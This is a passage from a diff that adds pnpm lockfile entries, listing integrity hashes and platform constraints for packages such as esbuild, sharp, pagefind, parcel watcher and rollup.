cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.25.10': + resolution: {integrity: sha512-QSX81KhFoZGwenVyPoberggdW1nrQZSvfVDAIUXr3WqLRZGZqWk/P4T8p2SP+de2Sr5HPcvjhcJzEiulKgnxtA==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.25.10': + resolution: {integrity: sha512-AKQM3gfYfSW8XRk8DdMCzaLUFB15dTrZfnX8WXQoOUpUBQ+NaAFCP1kPS/ykbbGYz7rxn0WS48/81l9hFl3u4A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.25.10': + resolution: {integrity: sha512-7RTytDPGU6fek/hWuN9qQpeGPBZFfB4zZgcz2VK2Z5VpdUxEI8JKYsg3JfO0n/Z1E/6l05n0unDCNc4HnhQGig==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.25.10': + resolution: {integrity: sha512-5Se0VM9Wtq797YFn+dLimf2Zx6McttsH2olUBsDml+lm0GOCRVebRWUvDtkY4BWYv/3NgzS8b/UM3jQNh5hYyw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.25.10': + resolution: {integrity: sha512-XkA4frq1TLj4bEMB+2HnI0+4RnjbuGZfet2gs/LNs5Hc7D89ZQBHQ0gL2ND6Lzu1+QVkjp3x1gIcPKzRNP8bXw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.25.10': + resolution: {integrity: sha512-AVTSBhTX8Y/Fz6OmIVBip9tJzZEUcY8WLh7I59+upa5/GPhh2/aM6bvOMQySspnCCHvFi79kMtdJS1w0DXAeag==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.25.10': + resolution: {integrity: sha512-fswk3XT0Uf2pGJmOpDB7yknqhVkJQkAQOcW/ccVOtfx05LkbWOaRAtn5SaqXypeKQra1QaEa841PgrSL9ubSPQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.25.10': + resolution: {integrity: sha512-ah+9b59KDTSfpaCg6VdJoOQvKjI33nTaQr4UluQwW7aEwZQsbMCfTmfEO4VyewOxx4RaDT/xCy9ra2GPWmO7Kw==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.25.10': + resolution: {integrity: sha512-QHPDbKkrGO8/cz9LKVnJU22HOi4pxZnZhhA2HYHez5Pz4JeffhDjf85E57Oyco163GnzNCVkZK0b/n4Y0UHcSw==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.25.10': + resolution: {integrity: sha512-9KpxSVFCu0iK1owoez6aC/s/EdUQLDN3adTxGCqxMVhrPDj6bt5dbrHDXUuq+Bs2vATFBBrQS5vdQ/Ed2P+nbw==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@expressive-code/core@0.41.3': + resolution: {integrity: sha512-9qzohqU7O0+JwMEEgQhnBPOw5DtsQRBXhW++5fvEywsuX44vCGGof1SL5OvPElvNgaWZ4pFZAFSlkNOkGyLwSQ==} + + '@expressive-code/plugin-collapsible-sections@0.41.3': + resolution: {integrity: sha512-cuHIN7Ipl7gUcaWFfsgy6G3wn0Svk8dQ6WKXNQha63BURbm7CSBhD6y9qFGeIOrxaJtvH4Pj3Xb4C2Ni0OVwYA==} + + '@expressive-code/plugin-frames@0.41.3': + resolution: {integrity: sha512-rFQtmf/3N2CK3Cq/uERweMTYZnBu+CwxBdHuOftEmfA9iBE7gTVvwpbh82P9ZxkPLvc40UMhYt7uNuAZexycRQ==} + + '@expressive-code/plugin-line-numbers@0.41.3': + resolution: {integrity: sha512-eig82a4CRC3XgVPQ2S/TMDcLiHJokOCD/mAdNVImpD3segVewxfjGgtj5DXQRo0E0q6f0R0EH34YzTFl5CEPqg==} + + '@expressive-code/plugin-shiki@0.41.3': + resolution: {integrity: sha512-RlTARoopzhFJIOVHLGvuXJ8DCEme/hjV+ZnRJBIxzxsKVpGPW4Oshqg9xGhWTYdHstTsxO663s0cdBLzZj9TQA==} + + '@expressive-code/plugin-text-markers@0.41.3': + resolution: {integrity: sha512-SN8tkIzDpA0HLAscEYD2IVrfLiid6qEdE9QLlGVSxO1KEw7qYvjpbNBQjUjMr5/jvTJ7ys6zysU2vLPHE0sb2g==} + + '@fontsource-variable/jetbrains-mono@5.2.8': + resolution: {integrity: sha512-WBA9elru6Jdp5df2mES55wuOO0WIrn3kpXnI4+W2ek5u3ZgLS9XS4gmIlcQhiZOWEKl95meYdvK7xI+ETLCq/Q==} + + '@fontsource/roboto@5.2.8': + resolution: {integrity: sha512-oh9g4Cg3loVMz9MWeKWfDI+ooxxG1aRVetkiKIb2ESS2rrryGecQ/y4pAj4z5A5ebyw450dYRi/c4k/I3UBhHA==} + + '@iconify-json/fa6-brands@1.2.6': + resolution: {integrity: sha512-twL3X4KWcxAhbc1vz/mIDsVr+CAItk1/EIfxKUVQtpv6O4eydk5KNYqTZWdvJNHGInUgd6vKg21aWfVgb5DXEg==} + + '@iconify-json/fa6-regular@1.2.4': + resolution: {integrity: sha512-fnUS/MLj3ZAp29oRsC8/aY8Wau7NIg7VesTz3jCcE6VJBzcz95Yxp/Dl5yHvkP+aQxrNw5Lj3nrOXB4nQh+oNA==} + + '@iconify-json/fa6-solid@1.2.4': + resolution: {integrity: sha512-LmDNNdJVyvF5mPm1yxWvL8KjCc/E8LzoqnF1LNTVpyY2ZJRUlGOWuPIThdbuFBF2IovgttkIyumhyqfmlHdwKg==} + + '@iconify-json/material-symbols@1.2.40': + resolution: {integrity: sha512-utXUazVsZ/cXJCKVIOdqLgwgmuy3Yx0dJtTk771d+O7NSdklUR42thl0H8L5db07I+TMS56BzPAf8vEDH68tdQ==} + + '@iconify-json/mingcute@1.2.5': + resolution: {integrity: sha512-LKlW4wahStprbfJcpzUnuayObOVAuztgYSy3v5oTke6cBJNfqEeE/mtMhHgpoSgGJvo5hhde2Q0+DoxKEldY2A==} + + '@iconify-json/streamline-ultimate@1.2.2': + resolution: {integrity: sha512-0Vz9UHgMrmRUYt3JFqm0E6PDdroItVqK4fKf3T72jVwS2MAmc8dcqvCy+f0hzOVzJfo3G34ejFA9Y8l/K44hTQ==} + + '@iconify/svelte@4.2.0': + resolution: {integrity: sha512-fEl0T7SAPonK7xk6xUlRPDmFDZVDe2Z7ZstlqeDS/sS8ve2uyU+Qa8rTWbIqzZJlRvONkK5kVXiUf9nIc+6OOQ==} + peerDependencies: + svelte: '>4.0.0' + + '@iconify/tools@4.1.2': + resolution: {integrity: sha512-q6NzLQYEN9zkDfcyBqD3vItHcZw97w/s++3H3TBxUORr57EfHxj6tOW6fyufDjMq+Vl56WXWaPx1csBPYlI5CA==} + + '@iconify/types@2.0.0': + resolution: {integrity: sha512-+wluvCrRhXrhyOmRDJ3q8mux9JkKy5SJ/v8ol2tu4FVjyYvtEzkc/3pK15ET6RKg4b4w4BmTk1+gsCUhf21Ykg==} + + '@iconify/utils@2.3.0': + resolution: {integrity: sha512-GmQ78prtwYW6EtzXRU1rY+KwOKfz32PD7iJh6Iyqw68GiKuoZ2A6pRtzWONz5VQJbp50mEjXh/7NkumtrAgRKA==} + + '@img/colour@1.0.0': + resolution: {integrity: sha512-A5P/LfWGFSl6nsckYtjw9da+19jB8hkJ6ACTGcDfEJ0aE+l2n2El7dsVM7UVHZQ9s2lmYMWlrS21YLy2IR1LUw==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.34.4': + resolution: {integrity: sha512-sitdlPzDVyvmINUdJle3TNHl+AG9QcwiAMsXmccqsCOMZNIdW2/7S26w0LyU8euiLVzFBL3dXPwVCq/ODnf2vA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.34.4': + resolution: {integrity: sha512-rZheupWIoa3+SOdF/IcUe1ah4ZDpKBGWcsPX6MT0lYniH9micvIU7HQkYTfrx5Xi8u+YqwLtxC/3vl8TQN6rMg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-darwin-arm64@1.2.3': + resolution: {integrity: sha512-QzWAKo7kpHxbuHqUC28DZ9pIKpSi2ts2OJnoIGI26+HMgq92ZZ4vk8iJd4XsxN+tYfNJxzH6W62X5eTcsBymHw==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.2.3': + resolution: {integrity: sha512-Ju+g2xn1E2AKO6YBhxjj+ACcsPQRHT0bhpglxcEf+3uyPY+/gL8veniKoo96335ZaPo03bdDXMv0t+BBFAbmRA==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.2.3': + resolution: {integrity: sha512-I4RxkXU90cpufazhGPyVujYwfIm9Nk1QDEmiIsaPwdnm013F7RIceaCc87kAH+oUB1ezqEvC6ga4m7MSlqsJvQ==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linux-arm@1.2.3': + resolution: {integrity: sha512-x1uE93lyP6wEwGvgAIV0gP6zmaL/a0tGzJs/BIDDG0zeBhMnuUPm7ptxGhUbcGs4okDJrk4nxgrmxpib9g6HpA==} + cpu: [arm] + os: [linux] + + '@img/sharp-libvips-linux-ppc64@1.2.3': + resolution: {integrity: sha512-Y2T7IsQvJLMCBM+pmPbM3bKT/yYJvVtLJGfCs4Sp95SjvnFIjynbjzsa7dY1fRJX45FTSfDksbTp6AGWudiyCg==} + cpu: [ppc64] + os: [linux] + + '@img/sharp-libvips-linux-s390x@1.2.3': + resolution: {integrity: sha512-RgWrs/gVU7f+K7P+KeHFaBAJlNkD1nIZuVXdQv6S+fNA6syCcoboNjsV2Pou7zNlVdNQoQUpQTk8SWDHUA3y/w==} + cpu: [s390x] + os: [linux] + + '@img/sharp-libvips-linux-x64@1.2.3': + resolution: {integrity: sha512-3JU7LmR85K6bBiRzSUc/Ff9JBVIFVvq6bomKE0e63UXGeRw2HPVEjoJke1Yx+iU4rL7/7kUjES4dZ/81Qjhyxg==} + cpu: [x64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-arm64@1.2.3': + resolution: {integrity: sha512-F9q83RZ8yaCwENw1GieztSfj5msz7GGykG/BA+MOUefvER69K/ubgFHNeSyUu64amHIYKGDs4sRCMzXVj8sEyw==} + cpu: [arm64] + os: [linux] + + '@img/sharp-libvips-linuxmusl-x64@1.2.3': + resolution: {integrity: sha512-U5PUY5jbc45ANM6tSJpsgqmBF/VsL6LnxJmIf11kB7J5DctHgqm0SkuXzVWtIY90GnJxKnC/JT251TDnk1fu/g==} + cpu: [x64] + os: [linux] + + '@img/sharp-linux-arm64@0.34.4': + resolution: {integrity: sha512-YXU1F/mN/Wu786tl72CyJjP/Ngl8mGHN1hST4BGl+hiW5jhCnV2uRVTNOcaYPs73NeT/H8Upm3y9582JVuZHrQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linux-arm@0.34.4': + resolution: {integrity: sha512-Xyam4mlqM0KkTHYVSuc6wXRmM7LGN0P12li03jAnZ3EJWZqj83+hi8Y9UxZUbxsgsK1qOEwg7O0Bc0LjqQVtxA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + + '@img/sharp-linux-ppc64@0.34.4': + resolution: {integrity: sha512-F4PDtF4Cy8L8hXA2p3TO6s4aDt93v+LKmpcYFLAVdkkD3hSxZzee0rh6/+94FpAynsuMpLX5h+LRsSG3rIciUQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ppc64] + os: [linux] + + '@img/sharp-linux-s390x@0.34.4': + resolution: {integrity: sha512-qVrZKE9Bsnzy+myf7lFKvng6bQzhNUAYcVORq2P7bDlvmF6u2sCmK2KyEQEBdYk+u3T01pVsPrkj943T1aJAsw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [s390x] + os: [linux] + + '@img/sharp-linux-x64@0.34.4': + resolution: {integrity: sha512-ZfGtcp2xS51iG79c6Vhw9CWqQC8l2Ot8dygxoDoIQPTat/Ov3qAa8qpxSrtAEAJW+UjTXc4yxCjNfxm4h6Xm2A==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-linuxmusl-arm64@0.34.4': + resolution: {integrity: sha512-8hDVvW9eu4yHWnjaOOR8kHVrew1iIX+MUgwxSuH2XyYeNRtLUe4VNioSqbNkB7ZYQJj9rUTT4PyRscyk2PXFKA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + + '@img/sharp-linuxmusl-x64@0.34.4': + resolution: {integrity: sha512-lU0aA5L8QTlfKjpDCEFOZsTYGn3AEiO6db8W5aQDxj0nQkVrZWmN3ZP9sYKWJdtq3PWPhUNlqehWyXpYDcI9Sg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + + '@img/sharp-wasm32@0.34.4': + resolution: {integrity: sha512-33QL6ZO/qpRyG7woB/HUALz28WnTMI2W1jgX3Nu2bypqLIKx/QKMILLJzJjI+SIbvXdG9fUnmrxR7vbi1sTBeA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.34.4': + resolution: {integrity: sha512-2Q250do/5WXTwxW3zjsEuMSv5sUU4Tq9VThWKlU2EYLm4MB7ZeMwF+SFJutldYODXF6jzc6YEOC+VfX0SZQPqA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.34.4': + resolution: {integrity: sha512-3ZeLue5V82dT92CNL6rsal6I2weKw1cYu+rGKm8fOCCtJTR2gYeUfY3FqUnIJsMUPIH68oS5jmZ0NiJ508YpEw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.34.4': + resolution: {integrity: sha512-xIyj4wpYs8J18sVN3mSQjwrw7fKUqRw+Z5rnHNCy5fYTxigBz81u5mOMPmFumwjcn8+ld1ppptMBCLic1nz6ig==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + + '@isaacs/cliui@8.0.2': + resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} + engines: {node: '>=12'} + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/source-map@0.3.10': + resolution: {integrity: sha512-0pPkgz9dY+bijgistcTTJ5mR+ocqRXLuhXHYdzoMmmoJ2C9S46RCm2GMUbatPEUK9Yjy26IrAy8D/M00lLkv+Q==} + + '@jridgewell/sourcemap-codec@1.5.0': + resolution: {integrity: sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@noble/curves@1.2.0': + resolution: {integrity: sha512-oYclrNgRaM9SsBUBVbb8M6DTV7ZHRTKugureoYEncY5c65HOmRzvSiTE3y5CYaPYJA/GVkrhXEoF0M3Ya9PMnw==} + + '@noble/hashes@1.3.2': + resolution: {integrity: sha512-MVC8EAQp7MvEcm30KWENFjgR+Mkmf+D189XJTkFIlwohU5hcBbn1ZkKq7KVTi2Hme3PMGF390DaL52beVrIihQ==} + engines: {node: '>= 16'} + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@oslojs/encoding@1.1.0': + resolution: {integrity: sha512-70wQhgYmndg4GCPxPPxPGevRKqTIJ2Nh4OkiMWmDAVYsTQ+Ta7Sq+rPevXyXGdzr30/qZBnyOalCszoMxlyldQ==} + + '@pagefind/darwin-arm64@1.4.0': + resolution: {integrity: sha512-2vMqkbv3lbx1Awea90gTaBsvpzgRs7MuSgKDxW0m9oV1GPZCZbZBJg/qL83GIUEN2BFlY46dtUZi54pwH+/pTQ==} + cpu: [arm64] + os: [darwin] + + '@pagefind/darwin-x64@1.4.0': + resolution: {integrity: sha512-e7JPIS6L9/cJfow+/IAqknsGqEPjJnVXGjpGm25bnq+NPdoD3c/7fAwr1OXkG4Ocjx6ZGSCijXEV4ryMcH2E3A==} + cpu: [x64] + os: [darwin] + + '@pagefind/freebsd-x64@1.4.0': + resolution: {integrity: sha512-WcJVypXSZ+9HpiqZjFXMUobfFfZZ6NzIYtkhQ9eOhZrQpeY5uQFqNWLCk7w9RkMUwBv1HAMDW3YJQl/8OqsV0Q==} + cpu: [x64] + os: [freebsd] + + '@pagefind/linux-arm64@1.4.0': + resolution: {integrity: sha512-PIt8dkqt4W06KGmQjONw7EZbhDF+uXI7i0XtRLN1vjCUxM9vGPdtJc2mUyVPevjomrGz5M86M8bqTr6cgDp1Uw==} + cpu: [arm64] + os: [linux] + + '@pagefind/linux-x64@1.4.0': + resolution: {integrity: sha512-z4oddcWwQ0UHrTHR8psLnVlz6USGJ/eOlDPTDYZ4cI8TK8PgwRUPQZp9D2iJPNIPcS6Qx/E4TebjuGJOyK8Mmg==} + cpu: [x64] + os: [linux] + + '@pagefind/windows-x64@1.4.0': + resolution: {integrity: sha512-NkT+YAdgS2FPCn8mIA9bQhiBs+xmniMGq1LFPDhcFn0+2yIUEiIG06t7bsZlhdjknEQRTSdT7YitP6fC5qwP0g==} + cpu: [x64] + os: [win32] + + '@parcel/watcher-android-arm64@2.5.1': + resolution: {integrity: sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [android] + + '@parcel/watcher-darwin-arm64@2.5.1': + resolution: {integrity: sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [darwin] + + '@parcel/watcher-darwin-x64@2.5.1': + resolution: {integrity: sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [darwin] + + '@parcel/watcher-freebsd-x64@2.5.1': + resolution: {integrity: sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [freebsd] + + '@parcel/watcher-linux-arm-glibc@2.5.1': + resolution: {integrity: sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + + '@parcel/watcher-linux-arm-musl@2.5.1': + resolution: {integrity: sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==} + engines: {node: '>= 10.0.0'} + cpu: [arm] + os: [linux] + + '@parcel/watcher-linux-arm64-glibc@2.5.1': + resolution: {integrity: sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + + '@parcel/watcher-linux-arm64-musl@2.5.1': + resolution: {integrity: sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [linux] + + '@parcel/watcher-linux-x64-glibc@2.5.1': + resolution: {integrity: sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + + '@parcel/watcher-linux-x64-musl@2.5.1': + resolution: {integrity: sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [linux] + + '@parcel/watcher-win32-arm64@2.5.1': + resolution: {integrity: sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==} + engines: {node: '>= 10.0.0'} + cpu: [arm64] + os: [win32] + + '@parcel/watcher-win32-ia32@2.5.1': + resolution: {integrity: sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==} + engines: {node: '>= 10.0.0'} + cpu: [ia32] + os: [win32] + + '@parcel/watcher-win32-x64@2.5.1': + resolution: {integrity: sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==} + engines: {node: '>= 10.0.0'} + cpu: [x64] + os: [win32] + + '@parcel/watcher@2.5.1': + resolution: {integrity: sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==} + engines: {node: '>= 10.0.0'} + + '@pkgjs/parseargs@0.11.0': + resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} + engines: {node: '>=14'} + + '@radix-ui/react-compose-refs@1.1.2': + resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-slot@1.2.4': + resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@rolldown/pluginutils@1.0.0-beta.27': + resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + + '@rollup/plugin-alias@3.1.9': + resolution: {integrity: sha512-QI5fsEvm9bDzt32k39wpOwZhVzRcL5ydcffUHMyLVaVaLeC70I8TJZ17F1z1eMoLu4E/UOcH9BWVkKpIKdrfiw==} + engines: {node: '>=8.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0 + + '@rollup/plugin-babel@5.3.1': + resolution: {integrity: sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==} + engines: {node: '>= 10.0.0'} + peerDependencies: + '@babel/core': ^7.0.0 + '@types/babel__core': ^7.1.9 + rollup: ^1.20.0||^2.0.0 + peerDependenciesMeta: + '@types/babel__core': + optional: true + + '@rollup/plugin-commonjs@17.1.0': + resolution: {integrity: sha512-PoMdXCw0ZyvjpCMT5aV4nkL0QywxP29sODQsSGeDpr/oI49Qq9tRtAsb/LbYbDzFlOydVEqHmmZWFtXJEAX9ew==} + engines: {node: '>= 8.0.0'} + peerDependencies: + rollup: ^2.30.0 + + '@rollup/plugin-json@4.1.0': + resolution: {integrity: sha512-yfLbTdNS6amI/2OpmbiBoW12vngr5NW2jCJVZSBEz+H5KfUJZ2M7sDjk0U6GOOdCWFVScShte29o9NezJ53TPw==} + peerDependencies: + rollup: ^1.20.0 || ^2.0.0 + + '@rollup/plugin-node-resolve@11.2.1': + resolution: {integrity: sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==} + engines: {node: '>= 10.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0 + + '@rollup/plugin-yaml@4.1.2': + resolution: {integrity: sha512-RpupciIeZMUqhgFE97ba0s98mOFS7CWzN3EJNhJkqSv9XLlWYtwVdtE6cDw6ASOF/sZVFS7kRJXftaqM2Vakdw==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/pluginutils@3.1.0': + resolution: {integrity: sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==} + engines: {node: '>= 8.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0 + + '@rollup/pluginutils@4.2.1': + resolution: {integrity: sha512-iKnFXr7NkdZAIHiIWE+BX5ULi/ucVFYWD6TbAV+rZctiRTY2PL6tsIKhoIOaoskiWAkgu+VsbXgUVDNLHf+InQ==} + engines: {node: '>= 8.0.0'} + + '@rollup/pluginutils@5.1.4': + resolution: {integrity: sha512-USm05zrsFxYLPdWWq+K3STlWiT/3ELn3RcV5hJMghpeAIhxfsUIg6mt12CBJBInWMV4VneoV7SfGv8xIwo2qNQ==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/pluginutils@5.3.0': + resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/rollup-android-arm-eabi@4.52.2': + resolution: {integrity: sha512-o3pcKzJgSGt4d74lSZ+OCnHwkKBeAbFDmbEm5gg70eA8VkyCuC/zV9TwBnmw6VjDlRdF4Pshfb+WE9E6XY1PoQ==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.52.2': + resolution: {integrity: sha512-cqFSWO5tX2vhC9hJTK8WAiPIm4Q8q/cU8j2HQA0L3E1uXvBYbOZMhE2oFL8n2pKB5sOCHY6bBuHaRwG7TkfJyw==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.52.2': + resolution: {integrity: sha512-vngduywkkv8Fkh3wIZf5nFPXzWsNsVu1kvtLETWxTFf/5opZmflgVSeLgdHR56RQh71xhPhWoOkEBvbehwTlVA==} + cpu: [arm64] + os: [darwin] + + 